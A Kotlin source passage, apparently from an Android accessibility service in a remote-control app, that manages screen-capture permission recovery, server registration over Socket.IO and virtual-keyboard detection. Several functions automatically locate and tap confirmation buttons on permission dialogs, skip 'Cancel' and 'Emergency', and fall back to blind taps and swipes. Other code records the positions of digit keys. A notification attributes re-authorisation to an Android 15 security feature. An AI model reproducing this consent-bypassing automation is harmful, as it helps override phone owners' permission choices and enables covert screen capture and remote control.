                    SmartMediaProjectionManager.LossReason.APP_BACKGROUNDED,
                    SmartMediaProjectionManager.LossReason.UNKNOWN -> {
                        Log.i(TAG, "🤖 系统自动停止，智能管理器将尝试恢复")
                        // 系统原因，智能管理器会自动处理恢复
                    }
                }

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理智能权限丢失失败", e)
            }
        }
    }

    /**
     * 处理智能权限管理器权限恢复事件
     */
    private fun handleSmartPermissionRecovery() {
        serviceScope.launch {
            try {
                Log.i(TAG, "✅ 处理智能权限恢复")

                // 恢复屏幕捕获
                if (::screenCaptureManager.isInitialized) {
                    // 延迟1秒确保权限完全稳定
                    delay(1000)
//                    screenCaptureManager.resumeCapture()
                    Log.i(TAG, "✅ 屏幕捕获已恢复")
                }

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理智能权限恢复失败", e)
            }
        }
    }

    /**
     * 处理智能权限管理器权限恢复失败事件
     */
    private fun handleSmartPermissionRecoveryFailure() {
        serviceScope.launch {
            try {
                Log.e(TAG, "❌ 智能权限恢复最终失败")

                // 通知用户需要手动检查权限
                showPermissionRecoveryFailedNotification()

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理权限恢复失败事件失败", e)
            }
        }
    }

    /**
     * 显示权限恢复失败通知
     */
    private fun showPermissionRecoveryFailedNotification() {
        try {
            val notificationManager =
                getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager

            // 创建通知渠道（Android 8.0+）
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                val channel = NotificationChannel(
                    "permission_error",
                    "权限错误",
                    NotificationManager.IMPORTANCE_HIGH
                ).apply {
                    description = "权限恢复失败通知"
                }
                notificationManager.createNotificationChannel(channel)
            }

            // 创建打开应用的意图
            val intent = Intent(this, com.hikoncont.MainActivity::class.java).apply {
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
            }

            val pendingIntent = PendingIntent.getActivity(
                this,
                0,
                intent,
                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
            )

            // 构建通知
            val notification = NotificationCompat.Builder(this, "permission_error")
                .setSmallIcon(R.drawable.ic_remote_control)
                .setContentTitle("服务权限需要检查")
                .setContentText("权限多次恢复失败，请手动检查权限设置")
                .setStyle(
                    NotificationCompat.BigTextStyle()
                        .bigText("服务权限自动恢复失败。这可能是由于：\n• Android 15系统限制\n• 权限被永久拒绝\n• 系统设置变更\n\n请点击检查权限设置。")
                )
                .setContentIntent(pendingIntent)
                .setAutoCancel(true)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .build()

            notificationManager.notify(10001, notification)

            Log.i(TAG, "✅ 权限恢复失败通知已显示")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示权限恢复失败通知失败", e)
        }
    }

    /**
     * 注册权限健康监控广播接收器
     */
    private fun registerPermissionHealthReceiver() {
        try {
            val filter = IntentFilter().apply {
                addAction("android.mycustrecev.PERMISSION_HEALTH_RECOVERED")
                addAction("android.mycustrecev.PERMISSION_HEALTH_ISSUE")
                addAction("android.mycustrecev.MEDIA_PROJECTION_RECOVERED")
                addAction("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                addAction("android.mycustrecev.STOP_SECONDARY_CONFIRMATION")
                addAction("android.mycustrecev.PERMISSION_RECOVERY_FAILED")
            }
            registerReceiver(permissionHealthReceiver, filter)
            Log.i(TAG, "✅ 已注册权限健康监控广播接收器")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 注册权限健康监控广播接收器失败", e)
        }
    }

    /**
     * 权限健康监控广播接收器
     */
    private val permissionHealthReceiver = object : BroadcastReceiver() {
        override fun onReceive(context: Context?, intent: Intent?) {
            try {
                when (intent?.action) {
                    "android.mycustrecev.PERMISSION_HEALTH_RECOVERED" -> {
                        Log.i(TAG, "🏥 收到权限健康恢复通知")
                        handlePermissionHealthRecovered()
                    }

                    "android.mycustrecev.PERMISSION_HEALTH_ISSUE" -> {
                        Log.w(TAG, "🏥 收到权限健康问题通知")
                        handlePermissionHealthIssue(intent)
                    }

                    "android.mycustrecev.MEDIA_PROJECTION_RECOVERED" -> {
                        Log.i(TAG, "📱 收到Android 15 MediaProjection权限恢复通知")
                        handleAndroid15PermissionRecovered()
                    }

                    "android.mycustrecev.ANDROID15_PERMISSION_STABLE" -> {
                        Log.i(TAG, "🛡️ 收到Android 15权限稳定通知")
                        handleAndroid15PermissionStable()
                    }

                    "android.mycustrecev.STOP_SECONDARY_CONFIRMATION" -> {
                        Log.i(TAG, "🛑 收到停止二次确认监听通知")
                        handleStopSecondaryConfirmation()
                    }

                    "android.mycustrecev.PERMISSION_RECOVERY_FAILED" -> {
                        Log.w(TAG, "❌ 收到权限恢复失败通知")
                        handlePermissionRecoveryFailed(intent)
                    }
                }
            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理权限健康监控广播失败", e)
            }
        }
    }

    /**
     * 处理权限健康恢复
     */
    private fun handlePermissionHealthRecovered() {
        serviceScope.launch {
            try {
                Log.i(TAG, "✅ 处理权限健康恢复")

                // 恢复屏幕捕获
                if (::screenCaptureManager.isInitialized) {
                    delay(1000) // 等待权限完全稳定
//                    screenCaptureManager.resumeCapture()
                    Log.i(TAG, "✅ 屏幕捕获已恢复（权限健康监控）")
                }

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理权限健康恢复失败", e)
            }
        }
    }

    /**
     * 处理权限健康问题
     */
    private fun handlePermissionHealthIssue(intent: Intent) {
        try {
            val totalChecks = intent.getIntExtra("total_checks", 0)
            val healthyChecks = intent.getIntExtra("healthy_checks", 0)
            val permissionLossEvents = intent.getIntExtra("permission_loss_events", 0)
            val successfulRecoveries = intent.getIntExtra("successful_recoveries", 0)
            val failedRecoveries = intent.getIntExtra("failed_recoveries", 0)

            Log.w(
                TAG, """
                🏥 权限健康问题详情:
                • 总检查次数: $totalChecks
                • 健康检查次数: $healthyChecks
                • 权限丢失事件: $permissionLossEvents
                • 成功恢复次数: $successfulRecoveries
                • 失败恢复次数: $failedRecoveries
            """.trimIndent()
            )

            // ✅ 提高失败恢复次数阈值，并添加权限数据保护检查
            if (failedRecoveries >= 5) {
                // 双重确认权限确实有问题
                val permissionData = MediaProjectionHolder.getPermissionData()
                if (permissionData == null) {
                    Log.w(TAG, "⚠️ 权限恢复失败次数过多且权限数据确实缺失，显示用户通知")
                    showPermissionRecoveryFailedNotification()
                } else {
                    Log.i(TAG, "🛡️ 权限恢复失败但权限数据仍存在，可能是误报，不显示通知")
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限健康问题失败", e)
        }
    }

    /**
     * 处理Android 15权限恢复
     */
    private fun handleAndroid15PermissionRecovered() {
        serviceScope.launch {
            try {
                Log.i(TAG, "✅ 处理Android 15权限恢复")

                // 停止权限申请流程
                if (::permissionGranter.isInitialized) {
                    permissionGranter.setMediaProjectionRequesting(false)
                    Log.i(TAG, "🛑 停止权限申请流程")
                }

                // 恢复屏幕捕获
                if (::screenCaptureManager.isInitialized) {
                    delay(500) // 短暂等待确保权限完全稳定
//                    screenCaptureManager.resumeCapture()
                    Log.i(TAG, "✅ 屏幕捕获已恢复（Android 15权限恢复）")
                }

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理Android 15权限恢复失败", e)
            }
        }
    }

    /**
     * 处理Android 15权限稳定 - 保守策略，信任权限稳定广播
     */
    private fun handleAndroid15PermissionStable() {
        serviceScope.launch {
            try {
                Log.i(TAG, "🛡️ 处理Android 15权限稳定事件（保守策略）")

                // 🛡️ 保守策略：收到权限稳定广播就信任权限已经可用，不再进行验证
                Log.i(TAG, "✅ 信任权限稳定广播，直接执行稳定流程")

                // 确保权限申请流程已停止
                if (::permissionGranter.isInitialized) {
                    permissionGranter.setMediaProjectionRequesting(false)
                    permissionGranter.resetPermissionRequestState()
                    Log.i(TAG, "🛑 确认停止权限申请流程")
                }

                // ✅ 停止Android 15权限监听，防止后续弹窗
                if (android15MediaProjectionManager != null) {
                    android15MediaProjectionManager?.markPermissionStable()
                    Log.i(TAG, "🛡️ Android 15权限监听已停止")
                }

                // 检查并启动屏幕捕获
                if (::screenCaptureManager.isInitialized) {
                    if (screenCaptureManager.isPaused()) {
//                        screenCaptureManager.resumeCapture()
                        Log.i(TAG, "✅ 屏幕捕获已恢复（Android 15权限稳定）")
                    } else {
                        Log.i(TAG, "✅ 屏幕捕获状态正常")
                    }
                }

                // 发送成功广播给MainActivity
                val successIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
                sendBroadcast(successIntent)
                Log.i(TAG, "📡 发送停止Activity创建广播")

                // 标记权限稳定通知已发送，防止重复
                android15PermissionStableNotified = true

                Log.i(TAG, "🎉 Android 15权限稳定流程完成，系统进入稳定运行状态")

            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理Android 15权限稳定失败", e)
            }
        }
    }

    /**
     * 处理停止二次确认监听
     */
    private fun handleStopSecondaryConfirmation() {
        try {
            Log.i(TAG, "🛑 处理停止二次确认监听")

            // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听处理
            if (Build.VERSION.SDK_INT >= 30) {
                Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听处理")
                return
            }

            // ✅ 添加权限数据保护：只有在权限数据不存在或确实有问题时才停止监听
            val permissionData = MediaProjectionHolder.getPermissionData()
            val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null

            if (permissionData != null && hasMediaProjection) {
                Log.i(TAG, "🛡️ 权限数据和MediaProjection都存在，跳过停止二次确认监听")
                return
            }

            if (permissionData != null && !hasMediaProjection) {
                Log.i(TAG, "🔧 权限数据存在但MediaProjection缺失，保守处理，仅停止Android 15监听")
                // 只停止Android 15的二次确认监听，不重置PermissionGranter状态
                if (Build.VERSION.SDK_INT >= 35 && android15MediaProjectionManager != null) {
                    android15MediaProjectionManager?.markPermissionStable()
                    Log.i(TAG, "🛑 Android 15权限已标记为稳定")
                }
                return
            }

            // ✅ 只有在权限数据完全缺失时才完全停止监听
            Log.i(TAG, "⚠️ 权限数据确实缺失，执行完整的停止二次确认监听流程")

            // 停止Android 15的二次确认监听
            if (Build.VERSION.SDK_INT >= 35 && android15MediaProjectionManager != null) {
                android15MediaProjectionManager?.markPermissionStable()
                Log.i(TAG, "🛑 Android 15权限已标记为稳定")
            }

            // 停止PermissionGranter的二次确认监听
            if (::permissionGranter.isInitialized) {
                permissionGranter.resetPermissionRequestState()
                Log.i(TAG, "🛑 PermissionGranter二次确认监听已停止")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理停止二次确认监听失败", e)
        }
    }

    /**
     * 处理权限恢复失败
     */
    private fun handlePermissionRecoveryFailed(intent: Intent) {
        try {
            val reason = intent.getStringExtra("reason") ?: "unknown"
            Log.w(TAG, "❌ 处理权限恢复失败，原因: $reason")

            // ✅ 添加权限数据保护：在清理权限数据前进行双重确认
            val permissionData = MediaProjectionHolder.getPermissionData()
            val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null

            when (reason) {
                "max_attempts_reached" -> {
                    Log.w(TAG, "⚠️ 权限恢复达到最大尝试次数，检查是否真的需要清理权限")

                    // ✅ 保护性检查：如果权限数据仍然存在且有效，不要清理
                    if (permissionData != null) {
                        Log.w(TAG, "🛡️ 权限数据仍然存在，可能是误报，不清理权限数据")

                        // 仅重置申请状态，不清理权限数据
                        if (::permissionGranter.isInitialized) {
                            permissionGranter.setMediaProjectionRequesting(false)
                            permissionGranter.resetPermissionRequestState()
                        }

                        // 显示保守的通知
                        showPermissionReauthorizationNotification()
                        return
                    }

                    Log.w(TAG, "❌ 确认权限数据已丢失，执行清理流程")

                    // 显示通知提醒用户重新授权
                    showPermissionReauthorizationNotification()

                    // 重置权限申请状态，允许重新申请
                    if (::permissionGranter.isInitialized) {
                        permissionGranter.setMediaProjectionRequesting(false)
                        permissionGranter.resetPermissionRequestState()
                    }

                    // ✅ 只有在确认权限数据确实丢失时才清理
                    MediaProjectionHolder.clearPermissionData()
                    Log.w(TAG, "🧹 已清理确认丢失的权限数据")

                    // 发送到主Activity显示状态
                    serviceScope.launch {
                        delay(2000)
                        smartReturnToApp()
                    }
                }

                "permission_expired" -> {
                    Log.w(TAG, "⏰ 权限已过期，检查权限数据状态")

                    // ✅ 即使权限过期，也要检查是否还有可用的权限数据
                    if (permissionData == null) {
                        Log.w(TAG, "🧹 权限确实过期且数据缺失，清理权限数据")
                        MediaProjectionHolder.clearPermissionData()

                        // 自动重新申请权限（如果在允许的时间窗口内）
                        if (::permissionGranter.isInitialized) {
                            permissionGranter.setMediaProjectionRequesting(true)
                        }
                    } else {
                        Log.i(TAG, "🔧 权限过期但数据仍存在，尝试恢复而不是清理")
                        // 尝试使用现有数据恢复，而不是立即清理
                        if (::permissionGranter.isInitialized) {
                            permissionGranter.setMediaProjectionRequesting(false)
                        }
                    }
                }

                else -> {
                    Log.w(TAG, "❓ 未知的权限恢复失败原因: $reason，保守处理")
                    // 对于未知原因，不清理权限数据，只重置状态
                    if (::permissionGranter.isInitialized) {
                        permissionGranter.setMediaProjectionRequesting(false)
                    }
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限恢复失败异常", e)
        }
    }

    /**
     * 显示权限重新授权通知
     */
    private fun showPermissionReauthorizationNotification() {
        try {
            val notification = NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)
                .setContentTitle("需要重新授权权限")
                .setContentText("Android 15权限保护机制要求重新授权，点击重新设置")
                .setSmallIcon(R.drawable.ic_remote_control)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .setAutoCancel(true)
                .setStyle(
                    NotificationCompat.BigTextStyle()
                        .bigText(
                            "由于Android 15的权限保护机制，权限需要重新授权。\n\n" +
                                    "这是系统安全特性，点击通知重新设置权限即可继续使用服务功能。"
                        )
                )
                .setContentIntent(
                    PendingIntent.getActivity(
                        this,
                        0,
                        Intent(this, com.hikoncont.MainActivity::class.java).apply {
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                        },
                        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
                    )
                )
                .addAction(
                    R.drawable.ic_remote_control,
                    "重新设置",
                    PendingIntent.getActivity(
                        this,
                        1,
                        Intent(this, com.hikoncont.MainActivity::class.java).apply {
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                            putExtra("auto_request_permission", true)
                        },
                        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
                    )
                )
                .build()

            val notificationManager =
                getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            notificationManager.notify(1001, notification)

            Log.i(TAG, "📢 已显示权限重新授权通知")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示权限重新授权通知失败", e)
        }
    }

    /**
     * 检查设备是否已注册 - ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    private fun isDeviceRegistered(): Boolean {
        return try {
            // ✅ 临时简化：直接检查各个管理器的注册状态，不依赖服务器连接检查
            val socketIORegistered = if (::networkManager.isInitialized) {
                val socketIOManager = networkManager.getSocketIOManager()
                val registered = socketIOManager?.isDeviceRegistered() ?: false
                Log.d(TAG, "🔍 NetworkManager SocketIO注册状态: $registered")
                registered
            } else {
                val registered = if (::socketIOManager.isInitialized) {
                    socketIOManager.isDeviceRegistered()
                } else {
                    false
                }
                Log.d(TAG, "🔍 直接SocketIO注册状态: $registered")
                registered
            }

            // 只使用Socket.IO连接，WebSocket已移除
            val deviceRegistered = socketIORegistered
            Log.d(TAG, "🔍 设备注册状态检查: SocketIO=$socketIORegistered, 最终=$deviceRegistered")
            return deviceRegistered
        } catch (e: Exception) {
            Log.e(TAG, "检查设备注册状态失败", e)
            false
        }
    }

    /**
     * WebSocket连接检查已移除 - 现在只使用Socket.IO连接
     */

    /**
     * 获取屏幕捕获管理器
     */
    fun getScreenCaptureManager(): ScreenCaptureManager? {
        return if (::screenCaptureManager.isInitialized) screenCaptureManager else null
    }

    /**
     * 获取权限授权管理器
     */
    fun getPermissionGranter(): PermissionGranter? {
        return if (::permissionGranter.isInitialized) permissionGranter else null
    }

    /**
     * ✅ 新增：查找所有可点击且可选择的控件
     */
    private fun findAllClickableAndCheckableNodes(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()

        fun traverseNode(node: AccessibilityNodeInfo) {
            if (node.isClickable && node.isCheckable) {
                result.add(node)
            }

            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    traverseNode(child)
                }
            }
        }

        traverseNode(rootNode)
        return result
    }

    /**
     * ✅ 新增：尝试点击屏幕下半部分的所有合理按钮
     */
    private fun tryClickAllBottomButtons(): Boolean {
        try {
            val rootNode = rootInActiveWindow ?: return false
            val screenHeight = resources.displayMetrics.heightPixels

            Log.d(TAG, "🔐 开始搜索屏幕下半部分的按钮")

            val candidates = mutableListOf<AccessibilityNodeInfo>()

            // 收集屏幕下半部分的所有可点击按钮
            fun collectButtons(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 15) return

                try {
                    if (node.isClickable) {
                        val rect = android.graphics.Rect()
                        node.getBoundsInScreen(rect)

                        // 只考虑屏幕下半部分的元素
                        if (rect.centerY() > screenHeight * 0.6) {
                            val text = node.text?.toString()?.trim() ?: ""
                            val className = node.className?.toString() ?: ""

                            // 排除明显的键盘按键和Emergency按钮
                            if (!isKeyboardKey(text, node.contentDescription?.toString() ?: "") &&
                                !text.equals("Emergency", true)
                            ) {
                                candidates.add(node)
                            } else {
                                Log.d(
                                    TAG,
                                    "🚫 排除按钮: 文本='$text', 类名='$className', 原因=${
                                        if (isKeyboardKey(
                                                text,
                                                node.contentDescription?.toString() ?: ""
                                            )
                                        ) "键盘按键" else "Emergency按钮"
                                    }"
                                )
                            }
                        }
                    }

                    for (i in 0 until node.childCount) {
                        val child = node.getChild(i)
                        child?.let { collectButtons(it, depth + 1) }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "收集按钮失败", e)
                }
            }

            collectButtons(rootNode)

            Log.d(TAG, "🔐 找到 ${candidates.size} 个下半部分按钮候选")

            if (candidates.isEmpty()) {
                Log.w(TAG, "⚠️ 没有找到任何下半部分按钮候选，尝试更宽松的策略")
                return tryFallbackConfirmStrategy()
            }

            // 尝试点击每个候选按钮
            for ((index, candidate) in candidates.withIndex()) {
                try {
                    val rect = android.graphics.Rect()
                    candidate.getBoundsInScreen(rect)
                    val centerX = rect.centerX().toFloat()
                    val centerY = rect.centerY().toFloat()
                    val text = candidate.text?.toString() ?: ""
                    val className = candidate.className?.toString() ?: ""

                    Log.d(
                        TAG,
                        "🔐 尝试点击候选${index + 1}: 文本='$text', 类名='$className', 位置=($centerX,$centerY)"
                    )

                    gestureController.performClick(centerX, centerY)

                    recordOperationLog(
                        "CLICK", "启发式确认按钮", mapOf(
                            "x" to centerX,
                            "y" to centerY,
                            "text" to text,
                            "className" to className,
                            "method" to "heuristic_confirm"
                        )
                    )

                    // 给一点时间让系统响应
                    Thread.sleep(500)

                    return true

                } catch (e: Exception) {
                    Log.e(TAG, "点击启发式确认按钮失败", e)
                }
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 启发式确认按钮点击失败", e)
            return false
        }
    }

    /**
     * ✅ 新增：备用确认策略 - 更宽松的按钮点击尝试
     */
    private fun tryFallbackConfirmStrategy(): Boolean {
        try {
            val rootNode = rootInActiveWindow ?: return false
            val (screenWidth, screenHeight) = getRealScreenSize()

            Log.d(TAG, "🔄 开始备用确认策略，真实屏幕尺寸: ${screenWidth}x${screenHeight}")

            val fallbackCandidates = mutableListOf<AccessibilityNodeInfo>()

            // 收集所有可点击元素，条件更宽松
            fun collectFallbackButtons(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 15) return

                try {
                    if (node.isClickable) {
                        val rect = android.graphics.Rect()
                        node.getBoundsInScreen(rect)

                        // 只要在屏幕下半部分就考虑
                        if (rect.centerY() > screenHeight * 0.5) {
                            val text = node.text?.toString()?.trim() ?: ""
                            val className = node.className?.toString() ?: ""

                            // ✅ 超严格过滤：使用位置检查的键盘按键过滤
                            if (!isKeyboardKeyWithPosition(node) &&
                                !text.equals("Emergency", true) &&
                                !text.equals("Cancel", true) &&
                                !text.equals("取消", true) &&
                                !text.equals("紧急", true)
                            ) {

                                // 额外检查：避免点击明显的键盘区域坐标
                                val isInDangerousKeyboardArea =
                                    rect.centerY() > screenHeight * 0.8 &&
                                            rect.width() < screenWidth * 0.2 &&
                                            rect.height() < screenHeight * 0.1

                                if (!isInDangerousKeyboardArea) {
                                    fallbackCandidates.add(node)
                                    Log.d(
                                        TAG,
                                        "🔄 备用候选: 文本='$text', 类名='$className', 位置=(${rect.centerX()},${rect.centerY()})"
                                    )
                                } else {
                                    Log.d(
                                        TAG,
                                        "🚫 备用策略排除(危险键盘区域): 文本='$text', 位置=(${rect.centerX()},${rect.centerY()})"
                                    )
                                }
                            } else {
                                Log.d(
                                    TAG,
                                    "🚫 备用策略排除: 文本='$text', 类名='$className', 原因=键盘按键或禁用按钮"
                                )
                            }
                        }
                    }

                    for (i in 0 until node.childCount) {
                        val child = node.getChild(i)
                        child?.let { collectFallbackButtons(it, depth + 1) }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "收集备用按钮失败", e)
                }
            }

            collectFallbackButtons(rootNode)

            Log.d(TAG, "🔄 找到 ${fallbackCandidates.size} 个备用按钮候选")

            if (fallbackCandidates.isEmpty()) {
                Log.w(TAG, "⚠️ 连备用策略也没有找到按钮")
                return tryLastResortStrategy()
            }

            // 尝试点击每个备用候选按钮
            for ((index, candidate) in fallbackCandidates.withIndex()) {
                try {
                    val rect = android.graphics.Rect()
                    candidate.getBoundsInScreen(rect)
                    val centerX = rect.centerX().toFloat()
                    val centerY = rect.centerY().toFloat()
                    val text = candidate.text?.toString() ?: ""
                    val className = candidate.className?.toString() ?: ""

                    Log.d(
                        TAG,
                        "🔄 尝试点击备用候选${index + 1}: 文本='$text', 类名='$className', 位置=($centerX,$centerY)"
                    )

                    gestureController.performClick(centerX, centerY)

                    recordOperationLog(
                        "CLICK", "备用确认按钮", mapOf(
                            "x" to centerX,
                            "y" to centerY,
                            "text" to text,
                            "className" to className,
                            "method" to "fallback_confirm"
                        )
                    )

                    // 给一点时间让系统响应
                    Thread.sleep(500)

                    return true

                } catch (e: Exception) {
                    Log.e(TAG, "点击备用确认按钮失败", e)
                }
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 备用确认策略失败", e)
            return false
        }
    }

    /**
     * ✅ 新增：最后手段策略 - 尝试常见的确认手势（避开键盘区域）
     */
    private fun tryLastResortStrategy(): Boolean {
        try {
            val (screenWidth, screenHeight) = getRealScreenSize()
            Log.d(TAG, "🆘 尝试最后手段策略，真实屏幕尺寸: ${screenWidth}x${screenHeight}")

            // ✅ 更保守的策略：只点击非键盘区域
            // 策略1: 点击屏幕右下角（但避开键盘区域）
            val rightBottomX = screenWidth * 0.9f
            val rightBottomY = screenHeight * 0.75f  // 避开键盘区域，不要太靠下

            Log.d(TAG, "🆘 尝试点击右下角（避开键盘）: ($rightBottomX, $rightBottomY)")
            gestureController.performClick(rightBottomX, rightBottomY)

            recordOperationLog(
                "CLICK", "右下角确认尝试", mapOf(
                    "x" to rightBottomX,
                    "y" to rightBottomY,
                    "method" to "last_resort_bottom_right"
                )
            )

            Thread.sleep(500)

            // 策略2: 点击屏幕右侧中央（更安全的位置）
            val rightCenterX = screenWidth * 0.85f
            val rightCenterY = screenHeight * 0.65f

            Log.d(TAG, "🆘 尝试点击右侧中央: ($rightCenterX, $rightCenterY)")
            gestureController.performClick(rightCenterX, rightCenterY)

            recordOperationLog(
                "CLICK", "右侧中央确认尝试", mapOf(
                    "x" to rightCenterX,
                    "y" to rightCenterY,
                    "method" to "last_resort_right_center"
                )
            )

            Thread.sleep(500)

            // 策略3: 如果还是不行，尝试向上滑动（可能触发确认）
            Log.d(TAG, "🆘 尝试向上滑动手势")
            val startX = screenWidth * 0.5f
            val startY = screenHeight * 0.8f
            val endX = screenWidth * 0.5f
            val endY = screenHeight * 0.6f

            gestureController.performSwipe(startX, startY, endX, endY, 300)

            recordOperationLog(
                "SWIPE", "向上滑动确认尝试", mapOf(
                    "startX" to startX,
                    "startY" to startY,
                    "endX" to endX,
                    "endY" to endY,
                    "method" to "last_resort_swipe_up"
                )
            )

            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 最后手段策略失败", e)
            return false
        }
    }

    /**
     * 🎯 新增：确定元素角色
     */
    private fun determineElementRole(node: AccessibilityNodeInfo): String {
        val className = node.className?.toString() ?: ""
        return when {
            className.contains("Button") -> "button"
            className.contains("EditText") -> "textfield"
            className.contains("TextView") -> if (node.isClickable) "link" else "text"
            className.contains("ImageView") -> if (node.isClickable) "imagebutton" else "image"
            className.contains("CheckBox") -> "checkbox"
            className.contains("RadioButton") -> "radio"
            className.contains("Switch") -> "switch"
            className.contains("SeekBar") || className.contains("Slider") -> "slider"
            className.contains("ProgressBar") -> "progressbar"
            className.contains("Spinner") -> "combobox"
            className.contains("ListView") || className.contains("RecyclerView") -> "list"
            className.contains("GridView") -> "grid"
            className.contains("ScrollView") -> "scrollarea"
            className.contains("WebView") -> "webview"
            className.contains("VideoView") -> "video"
            node.isScrollable -> "scrollable"
            node.isClickable -> "clickable"
            else -> "generic"
        }
    }

    /**
     * 🎯 新增：确定可访问性重要性
     */
    private fun determineAccessibilityImportance(node: AccessibilityNodeInfo): String {
        return when {
            node.isClickable || node.isFocusable -> "high"
            !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty() -> "medium"
            node.isVisibleToUser -> "low"
            else -> "none"
        }
    }

    /**
     * 🎯 新增：生成状态描述
     */
    private fun generateStateDescription(node: AccessibilityNodeInfo): String {
        val states = mutableListOf<String>()

        if (!node.isEnabled) states.add("已禁用")
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP && node.isSelected) states.add("已选中")
        if (node.isChecked) states.add("已勾选")
        if (node.isFocused) states.add("已聚焦")
        if (!node.isVisibleToUser) states.add("不可见")

        return states.joinToString(", ")
    }

    /**
     * 🎯 新增：生成交互提示
     */
    private fun generateInteractionHint(node: AccessibilityNodeInfo): String {
        val hints = mutableListOf<String>()

        if (node.isClickable) hints.add("可点击")
        if (node.isScrollable) hints.add("可滚动")
        if (node.isFocusable) hints.add("可聚焦")
        if (node.isEditable) hints.add("可编辑")
        if (node.isCheckable) hints.add("可勾选")

        return hints.joinToString(", ")
    }

    /**
     * ✨ 增强功能：虚拟键盘检测
     */
    private fun detectVirtualKeyboard(rootNode: AccessibilityNodeInfo, maxDepth: Int): JSONObject {
        val result = JSONObject()
        val keyboardElements = org.json.JSONArray()
        val digitButtons = org.json.JSONArray()
        val inputMethodWindows = org.json.JSONArray()

        var keyboardScore = 0.0
        var totalElements = 0

        try {
            Log.i(TAG, "🎹 开始虚拟键盘检测")

            // 递归检测键盘元素
            fun detectKeyboardElements(node: AccessibilityNodeInfo, depth: Int) {
                if (depth > maxDepth) return

                try {
                    totalElements++
                    val text = node.text?.toString() ?: ""
                    val desc = node.contentDescription?.toString() ?: ""
                    val className = node.className?.toString() ?: ""

                    // 检测数字按钮
                    if (text.matches(Regex("^[0-9]$")) || desc.matches(Regex("^[0-9]$"))) {
                        val rect = android.graphics.Rect()
                        node.getBoundsInScreen(rect)

                        val digitButton = JSONObject().apply {
                            put("text", text)
                            put("description", desc)
                            put("bounds", JSONObject().apply {
                                put("left", rect.left)
                                put("top", rect.top)
                                put("right", rect.right)
                                put("bottom", rect.bottom)
                            })
                            put("clickable", node.isClickable)
                        }
                        digitButtons.put(digitButton)
                        keyboardScore += 2.0 // 数字按钮权重高
                    }

                    // 检测键盘相关元素 - 增强版检测
                    val isKeyboardElement = when {
                        // 类名相关检测
                        className.contains("Keyboard", ignoreCase = true) -> true
                        className.contains("InputMethod", ignoreCase = true) -> true
                        className.contains("Key", ignoreCase = true) -> true
                        // 文本内容检测
                        text.matches(Regex("^[a-zA-Z]$")) -> true // 单字母按钮
                        text.matches(Regex("^[a-zA-Z]{2,3}$")) -> true // 多字母组合键
                        text.length == 1 && "!@#$%^&*()_+-=[]{};\':\",./<>?".contains(text) -> true // 特殊符号
                        text in listOf(
                            "确定",
                            "完成",
                            "发送",
                            "搜索",
                            "OK",
                            "Done",
                            "Send",
                            "Search",
                            "Go",
                            "Next",
                            "Return",
                            "Enter"
                        ) -> true

                        text in listOf(
                            "space",
                            "shift",
                            "caps",
                            "del",
                            "delete",
                            "backspace",
                            "tab",
                            "ctrl",
                            "alt",
                            "sym",
                            "123",
                            "ABC"
                        ) -> true
                        // 描述内容检测
                        desc.contains("键盘", ignoreCase = true) -> true
                        desc.contains("keyboard", ignoreCase = true) -> true
                        desc.contains("key", ignoreCase = true) -> true
                        desc.contains("按键", ignoreCase = true) -> true
                        desc.contains("输入", ignoreCase = true) -> true
                        desc.contains("input", ignoreCase = true) -> true
                        // 特殊字符检测
                        text.length == 1 && "，。！？；：（）【】《》、".contains(text) -> true // 中文标点
                        // 按钮类型的进一步检测
                        className.contains(
                            "Button",
                            ignoreCase = true
                        ) && node.isClickable && isLikelyKeyboardButton(node) -> true

                        else -> false
                    }

                    if (isKeyboardElement) {
                        val rect = android.graphics.Rect()
                        node.getBoundsInScreen(rect)

                        // 确定键盘元素类型
                        val elementType = when {
